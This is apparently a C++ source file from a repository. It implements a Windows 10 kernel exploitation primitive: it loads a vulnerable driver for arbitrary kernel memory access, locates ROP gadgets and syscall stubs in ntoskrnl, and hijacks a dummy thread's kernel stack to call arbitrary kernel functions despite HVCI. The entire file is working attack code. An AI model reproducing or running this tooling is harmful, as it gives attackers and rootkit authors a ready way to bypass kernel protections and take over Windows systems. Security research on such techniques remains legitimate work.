Files
2021-05-18 23:23:42 +07:00

787 lines
24 KiB
C++

#include "stdafx.h"
// StackBase and KernelStack field offset
#define KTHREAD_StackBase 0x38
#define KTHREAD_KernelStack 0x58
// magic exit code for DummyThread()
#define THREAD_EXIT_CODE 0x1337
static BOOL m_bInitialized = FALSE;
// kernel image name and memory location
static DWORD m_dwKernelSize = 0;
static DWORD_PTR m_KernelAddr = NULL;
// userland copy of the kernel image
static PVOID m_KernelImage = NULL;
static DWORD m_dwKernelImageSize = NULL;
// mandatory function
static PVOID m_ZwTerminateThread = NULL;
// ROP gadgets used to forge function calls
static PVOID m_RopAddr_1 = NULL, m_RopAddr_2 = NULL;
static PVOID m_RopAddr_3 = NULL, m_RopAddr_4 = NULL, m_RopAddr_5 = NULL;
//--------------------------------------------------------------------------------------
static BOOL MemReadPtr(PVOID Addr, PVOID *Value)
{
// read single pointer from virtual memory address
return DriverMemRead(Addr, Value, sizeof(PVOID));
}
static BOOL MemWritePtr(PVOID Addr, PVOID Value)
{
// write single pointer at virtual memory address
return DriverMemWrite(Addr, &Value, sizeof(PVOID));
}
//--------------------------------------------------------------------------------------
static BOOL MatchSign(PUCHAR Data, PUCHAR Sign, int Size)
{
for (int i = 0; i < Size; i += 1)
{
if (Sign[i] == 0xff)
{
// 0xff means to match any value
continue;
}
if (Sign[i] != Data[i])
{
// not matched
return FALSE;
}
}
return TRUE;
}
//--------------------------------------------------------------------------------------
static BOOL KfGetKernelImageInfo(PVOID *pImageAddress, PDWORD pdwImageSize, char *lpszName)
{
// query loaded kernel modules information
PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSystemInformation(SystemModuleInformation);
if (Info && Info->NumberOfModules > 0)
{
// kernel usually goes first: this might be not very reliable, idk
PRTL_PROCESS_MODULE_INFORMATION Module = &Info->Modules[0];
// return image load address and size
*pImageAddress = Module->ImageBase;
*pdwImageSize = Module->ImageSize;
// get kernel file name from NT path
strcpy_s(lpszName, MAX_PATH, (char *)(Module->FullPathName + Module->OffsetToFileName));
M_FREE(Info);
return TRUE;
}
return FALSE;
}
//--------------------------------------------------------------------------------------
BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet)
{
// get ntdll image address
HMODULE hImage = GetModuleHandle("ntdll.dll");
if (hImage == NULL)
{
return FALSE;
}
// get syscall stub address
PUCHAR Addr = (PUCHAR)GetProcAddress(hImage, lpszProcName);
if (Addr == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find %s()\n", lpszProcName);
return FALSE;
}
// check for mov eax, imm32 instruction
if (*(Addr + 3) == 0xb8)
{
// return instruction argument, syscall number
*pdwRet = *(PDWORD)(Addr + 4);
return TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unexpected code for %s()\n", lpszProcName);
}
return FALSE;
}
//--------------------------------------------------------------------------------------
PVOID KfGetKernelProcAddress(char *lpszProcName)
{
if (m_KernelImage == NULL || m_KernelAddr == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
return FALSE;
}
// get RVA of the target function
DWORD Offset = LdrGetProcAddress(m_KernelImage, lpszProcName);
if (Offset != 0)
{
// return an actual address of the target function
return RVATOVA(m_KernelAddr, Offset);
}
return NULL;
}
//--------------------------------------------------------------------------------------
PVOID KfGetKernelZwProcAddress(char *lpszProcName)
{
PVOID Addr = NULL;
DWORD dwSyscallNumber = 0;
if (m_KernelImage == NULL || m_KernelAddr == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
return FALSE;
}
// get target function syscall number
if (!KfGetSyscallNumber(lpszProcName, &dwSyscallNumber))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: KfGetSyscallNumber() fails\n");
return NULL;
}
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
RVATOVA(m_KernelImage, ((PIMAGE_DOS_HEADER)m_KernelImage)->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)
RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader);
for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1)
{
// check for the code sectin
if ((pSection->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 &&
(pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0)
{
for (DWORD n = 0; n < pSection->Misc.VirtualSize - 0x100; n += 1)
{
DWORD Ptr = pSection->VirtualAddress + n;
/*
Signature of Zw stub to call system calls from kernel drivers.
*/
UCHAR Sign[] = "\x48\x8B\xC4" // mov rax, rsp
"\xFA" // cli
"\x48\x83\xEC\x10" // sub rsp, 10h
"\x50" // push rax
"\x9C" // pushfq
"\x6A\x10" // push 10h
"\x48\x8D\x05\xFF\xFF\xFF\xFF" // lea rax, KiServiceLinkage
"\x50" // push rax
"\xB8\x00\x00\x00\x00" // mov eax, XXXXXXXX
"\xE9\xFF\xFF\xFF\xFF"; // jmp KiServiceInternal
*(PDWORD)(Sign + 0x15) = dwSyscallNumber;
// match the signature
if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign, sizeof(Sign)-1))
{
// calculate an actual kernel address
Addr = RVATOVA(m_KernelAddr, Ptr);
}
}
}
pSection += 1;
}
return Addr;
}
//--------------------------------------------------------------------------------------
BOOL KfInit(void)
{
char szKernelName[MAX_PATH], szKernelPath[MAX_PATH];
if (m_bInitialized)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Already initialized\n");
return TRUE;
}
GET_NATIVE(RtlGetVersion);
if (f_RtlGetVersion == NULL)
{
DbgMsg(__FILE__, __LINE__, "ERROR: Unable to obtain needed functions\n");
return FALSE;
}
RTL_OSVERSIONINFOW VersionInfo;
VersionInfo.dwOSVersionInfoSize = sizeof(VersionInfo);
if (NT_ERROR(f_RtlGetVersion(&VersionInfo)))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: RtlGetVersion() fails\n");
return FALSE;
}
// check for the proper NT version
if (!(VersionInfo.dwMajorVersion == 10 && VersionInfo.dwBuildNumber >= 1709))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Unsupported NT version\n");
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Well, maybe it's actually supported but it has "
"no HVCI so there's no sense to use this project\n");
return FALSE;
}
DbgMsg(
__FILE__, __LINE__, "NT version: %d.%d.%d\n",
VersionInfo.dwMajorVersion, VersionInfo.dwMinorVersion, VersionInfo.dwBuildNumber
);
// load loldriver
if (!DriverInit())
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverInit() fails\n");
goto _end;
}
// get kernel address
if (!KfGetKernelImageInfo((PVOID *)&m_KernelAddr, &m_dwKernelSize, szKernelName))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetKernelImageInfo() fails\n");
goto _end;
}
DbgMsg(__FILE__, __LINE__, "Kernel is at "IFMT", image size is 0x%x\n", m_KernelAddr, m_dwKernelSize);
GetSystemDirectory(szKernelPath, MAX_PATH);
strcat_s(szKernelPath, "\\");
strcat_s(szKernelPath, szKernelName);
PVOID Data = NULL;
DWORD dwDataSize = 0;
if (ReadFromFile(szKernelPath, &Data, &dwDataSize))
{
// load kernel image into the userland
if (LdrMapImage(Data, dwDataSize, &m_KernelImage, &m_dwKernelImageSize))
{
// relocate kernel image to its actual address
LdrProcessRelocs(m_KernelImage, (PVOID)m_KernelAddr);
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: LdrMapImage() fails\n");
}
M_FREE(Data);
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: ReadFromFile() fails\n");
goto _end;
}
if (m_KernelImage == NULL)
{
goto _end;
}
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
RVATOVA(m_KernelImage, ((PIMAGE_DOS_HEADER)m_KernelImage)->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)
RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader);
for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1)
{
// check for the code sectin
if ((pSection->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 &&
(pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0)
{
for (DWORD n = 0; n < pSection->Misc.VirtualSize - 0x100; n += 1)
{
DWORD Ptr = pSection->VirtualAddress + n;
/*
Signature of nt!_guard_retpoline_exit_indirect_rax() used as
ROP gadget to control function argument registers
*/
UCHAR Sign_1[] = "\x48\x8b\x44\x24\x20" // mov rax, [rsp+0x20]
"\x48\x8b\x4c\x24\x28" // mov rcx, [rsp+0x28]
"\x48\x8b\x54\x24\x30" // mov rdx, [rsp+0x30]
"\x4c\x8b\x44\x24\x38" // mov r8, [rsp+0x38]
"\x4c\x8b\x4c\x24\x40" // mov r9, [rsp+0x40]
"\x48\x83\xC4\x48" // add rsp, 48h
"\x48\xFF\xE0"; // jmp rax
// match the signature
if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_1, sizeof(Sign_1)-1))
{
// calculate an actual kernel address
m_RopAddr_1 = RVATOVA(m_KernelAddr, Ptr);
}
/*
ROP gadget used to reserve an extra space for the stack arguments
*/
UCHAR Sign_2[] = "\x48\x83\xC4\x68" // add rsp, 68h
"\xC3"; // retn
// match the signature
if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_2, sizeof(Sign_2)-1))
{
// calculate an actual kernel address
m_RopAddr_2 = RVATOVA(m_KernelAddr, Ptr);
}
/*
RCX control ROP gadget to use in pair with the next one
*/
UCHAR Sign_3[] = "\x59" // pop rcx
"\xC3"; // retn
// match the signature
if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_3, sizeof(Sign_3)-1))
{
// calculate an actual kernel address
m_RopAddr_3 = RVATOVA(m_KernelAddr, Ptr);
}
/*
ROP gadget used to save forged functoin call return value
*/
UCHAR Sign_4[] = "\x48\x89\x01" // mov [rcx], rax
"\xC3"; // retn
// match the signature
if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_4, sizeof(Sign_4)-1))
{
// calculate an actual kernel address
m_RopAddr_4 = RVATOVA(m_KernelAddr, Ptr);
// dummy dagdet for stack alignment
m_RopAddr_5 = RVATOVA(m_KernelAddr, Ptr + 3);
}
}
}
pSection += 1;
}
if (m_RopAddr_1 == NULL || m_RopAddr_2 == NULL ||
m_RopAddr_3 == NULL || m_RopAddr_4 == NULL || m_RopAddr_5 == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find needed ROP gadgets\n");
goto _end;
}
DbgMsg(__FILE__, __LINE__, "ROP gadget #1 is at "IFMT"\n", m_RopAddr_1);
DbgMsg(__FILE__, __LINE__, "ROP gadget #2 is at "IFMT"\n", m_RopAddr_2);
DbgMsg(__FILE__, __LINE__, "ROP gadget #3 is at "IFMT"\n", m_RopAddr_3);
DbgMsg(__FILE__, __LINE__, "ROP gadget #4 is at "IFMT"\n", m_RopAddr_4);
DbgMsg(__FILE__, __LINE__, "ROP gadget #5 is at "IFMT"\n", m_RopAddr_5);
/*
Get address of nt!ZwTerminateThread(), we need this function
to gracefully shutdown our dummy thread with fucked up kernel stack
*/
if ((m_ZwTerminateThread = KfGetKernelZwProcAddress("ZwTerminateThread")) == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find nt!ZwTerminateThread() address\n");
goto _end;
}
DbgMsg(__FILE__, __LINE__, "nt!ZwTerminateThread() is at "IFMT"\n", m_ZwTerminateThread);
m_bInitialized = TRUE;
_end:
if (!m_bInitialized)
{
if (m_KernelImage)
{
M_FREE(m_KernelImage);
m_KernelImage = NULL;
m_dwKernelImageSize = 0;
}
// unload loldriver in case of error
DriverUninit();
}
return m_bInitialized;
}
//--------------------------------------------------------------------------------------
BOOL KfUninit(void)
{
if (m_KernelImage)
{
M_FREE(m_KernelImage);
m_KernelImage = NULL;
m_dwKernelImageSize = 0;
}
m_bInitialized = FALSE;
// unload loldriver
return DriverUninit();
}
//--------------------------------------------------------------------------------------
static DWORD WINAPI DummyThread(LPVOID lpParam)
{
HANDLE hEvent = lpParam;
#ifdef DBG_CALL
DbgMsg(
__FILE__, __LINE__,
"Putting thread %x:%x into the waitable state...\n", GetCurrentProcessId(), GetCurrentThreadId()
);
#endif
WaitForSingleObject(hEvent, INFINITE);
#ifdef DBG_CALL
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): EXIT\n");
#endif
return 0;
}
BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal)
{
BOOL bRet = FALSE;
HANDLE hThread = NULL, hEvent = NULL;
PVOID RetVal = NULL;
if (!m_bInitialized)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
return FALSE;
}
if (dwArgsCount > MAX_ARGS)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Too many arguments\n");
return FALSE;
}
// create waitable event
if ((hEvent = CreateEvent(NULL, FALSE, FALSE, NULL)) == NULL)
{
DbgMsg(__FILE__, __LINE__, "CreateEvent() ERROR %d\n", GetLastError());
goto _end;
}
DWORD dwThreadId = 0;
// create dummy thread
if ((hThread = CreateThread(NULL, 0, DummyThread, hEvent, 0, &dwThreadId)) == NULL)
{
DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError());
goto _end;
}
while (true)
{
// determine current state of dummy thread
DWORD State = GetThreadState(GetCurrentProcessId(), dwThreadId);
if (State == -1)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetThreadState() fails\n");
goto _end;
}
if (State == Waiting)
{
// thread was entered into the wait state
break;
}
SwitchToThread();
}
// get _KTHREAD address by handle
PVOID pThread = GetObjectAddress(hThread);
if (pThread == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetObjectAddress() fails\n");
goto _end;
}
#ifdef DBG_CALL
DbgMsg(__FILE__, __LINE__, "_KTHREAD is at "IFMT"\n", pThread);
#endif
PUCHAR StackBase = NULL, KernelStack = NULL;
// get stack base of the thread
if (!MemReadPtr(RVATOVA(pThread, KTHREAD_StackBase), (PVOID *)&StackBase))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n");
goto _end;
}
// get stack pointer of the thread
if (!MemReadPtr(RVATOVA(pThread, KTHREAD_KernelStack), (PVOID *)&KernelStack))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n");
goto _end;
}
#ifdef DBG_CALL
DbgMsg(__FILE__, __LINE__, "Thread kernel stack base is at "IFMT"\n", StackBase);
DbgMsg(__FILE__, __LINE__, "Thread kernel stack pointer is at "IFMT"\n", KernelStack);
#endif
PVOID RetAddr = NULL;
PUCHAR Ptr = StackBase - sizeof(PVOID);
// walk over the kernel stack
while (Ptr > KernelStack)
{
DWORD_PTR Val = 0;
// read stack value
if (!MemReadPtr(Ptr, (PVOID *)&Val))
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n");
goto _end;
}
/*
Check for the return address from system call handler back to
the nt!KiSystemServiceCopyEnd(), it's located at the bottom
of the kernel stack.
*/
if (Val > m_KernelAddr &&
Val < m_KernelAddr + m_dwKernelSize)
{
RetAddr = Ptr;
break;
}
// go to the next stack location
Ptr -= sizeof(PVOID);
}
if (RetAddr == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to locate return address\n");
goto _end;
}
#ifdef DBG_CALL
DbgMsg(__FILE__, __LINE__, "Return address was found at "IFMT"\n", RetAddr);
#endif
#define STACK_PUT(_offset_, _val_) \
\
if (!MemWritePtr(RVATOVA(RetAddr, (_offset_)), (PVOID)(_val_))) \
{ \
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemWritePtr() fails\n"); \
goto _end; \
}
// hijack the return address with forged function call
STACK_PUT(0x00, m_RopAddr_1);
// save an address for the forged function call
STACK_PUT(0x08 + 0x20, ProcAddr);
if (dwArgsCount > 0)
{
// 1-st argument goes in RCX
STACK_PUT(0x08 + 0x28, Args[0]);
}
if (dwArgsCount > 1)
{
// 2-nd argument goes in RDX
STACK_PUT(0x08 + 0x30, Args[1]);
}
if (dwArgsCount > 2)
{
// 3-rd argument goes in R8
STACK_PUT(0x08 + 0x38, Args[2]);
}
if (dwArgsCount > 3)
{
// 4-th argument goes in R9
STACK_PUT(0x08 + 0x40, Args[3]);
}
// reserve shadow space and 9 stack arguments
STACK_PUT(0x50, m_RopAddr_2);
for (DWORD i = 4; i < dwArgsCount; i += 1)
{
// the rest arguments goes over the stack right after the shadow space
STACK_PUT(0x58 + 0x20 + ((i - 4) * sizeof(PVOID)), Args[i]);
}
// obtain RetVal address
STACK_PUT(0xc0, m_RopAddr_3);
STACK_PUT(0xc8, &RetVal);
// save return value of the forged function call
STACK_PUT(0xd0, m_RopAddr_4);
// dummy gadget for stack alignment
STACK_PUT(0xd8, m_RopAddr_5);
// put the next function call
STACK_PUT(0xe0, m_RopAddr_1);
// forge nt!ZwTerminateThread() function call
STACK_PUT(0xe8 + 0x20, m_ZwTerminateThread);
STACK_PUT(0xe8 + 0x28, hThread);
STACK_PUT(0xe8 + 0x30, THREAD_EXIT_CODE);
SwitchToThread();
_end:
if (hEvent && hThread)
{
DWORD dwExitCode = 0;
// put thread into the ready state
SetEvent(hEvent);
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, &dwExitCode);
// check for the magic exit code set by forged call
if (dwExitCode == THREAD_EXIT_CODE)
{
if (pRetVal)
{
// return value of the function
*pRetVal = RetVal;
}
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Something went wrong\n");
}
}
if (hEvent)
{
CloseHandle(hEvent);
}
if (hThread)
{
CloseHandle(hThread);
}
return bRet;
}
//--------------------------------------------------------------------------------------
BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal)
{
PVOID FuncAddr = NULL;
// obtain target exported function address by its name
if ((FuncAddr = KfGetKernelProcAddress(lpszProcName)) == NULL)
{
if (!strncmp(lpszProcName, "Zw", 2))
{
// try to obtain not exported Zw function address
FuncAddr = KfGetKernelZwProcAddress(lpszProcName);
}
}
if (FuncAddr == NULL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find %s() address\n", lpszProcName);
return FALSE;
}
DbgMsg(__FILE__, __LINE__, "nt!%s() is at "IFMT"\n", lpszProcName, FuncAddr);
// perform the call
return KfCallAddr(FuncAddr, Args, dwArgsCount, pRetVal);
}
//--------------------------------------------------------------------------------------
PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size)
{
PVOID Ret = NULL;
PVOID Args[] = { KF_ARG(Dst), KF_ARG(Src), KF_ARG(Size) };
// perform memory copy operation
if (KfCall("memcpy", Args, 3, &Ret))
{
return Ret;
}
return NULL;
}
//--------------------------------------------------------------------------------------
PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size)
{
PVOID Ret = NULL;
PVOID Args[] = { KF_ARG(Dst), KF_ARG(Val), KF_ARG(Size) };
// perform memory fill operation
if (KfCall("memset", Args, 3, &Ret))
{
return Ret;
}
return NULL;
}
//--------------------------------------------------------------------------------------
PVOID KfHeapAllocData(SIZE_T Size, PVOID Data)
{
PVOID Ret = NULL;
PVOID Args[] = { KF_ARG(NonPagedPool), KF_ARG(Size) };
// allocate non paged kernel pool memory
if (KfCall("ExAllocatePool", Args, 2, &Ret))
{
if (Data)
{
// copy the data into the allocated memory
return KfMemCopy(Ret, Data, Size);
}
return Ret;
}
return NULL;
}
PVOID KfHeapAlloc(SIZE_T Size)
{
return KfHeapAllocData(Size, NULL);
}
//--------------------------------------------------------------------------------------
void KfHeapFree(PVOID Addr)
{
PVOID Args[] = { KF_ARG(Addr) };
// free kernel pool memory
KfCall("ExFreePool", Args, 1, NULL);
}
//--------------------------------------------------------------------------------------
// EoF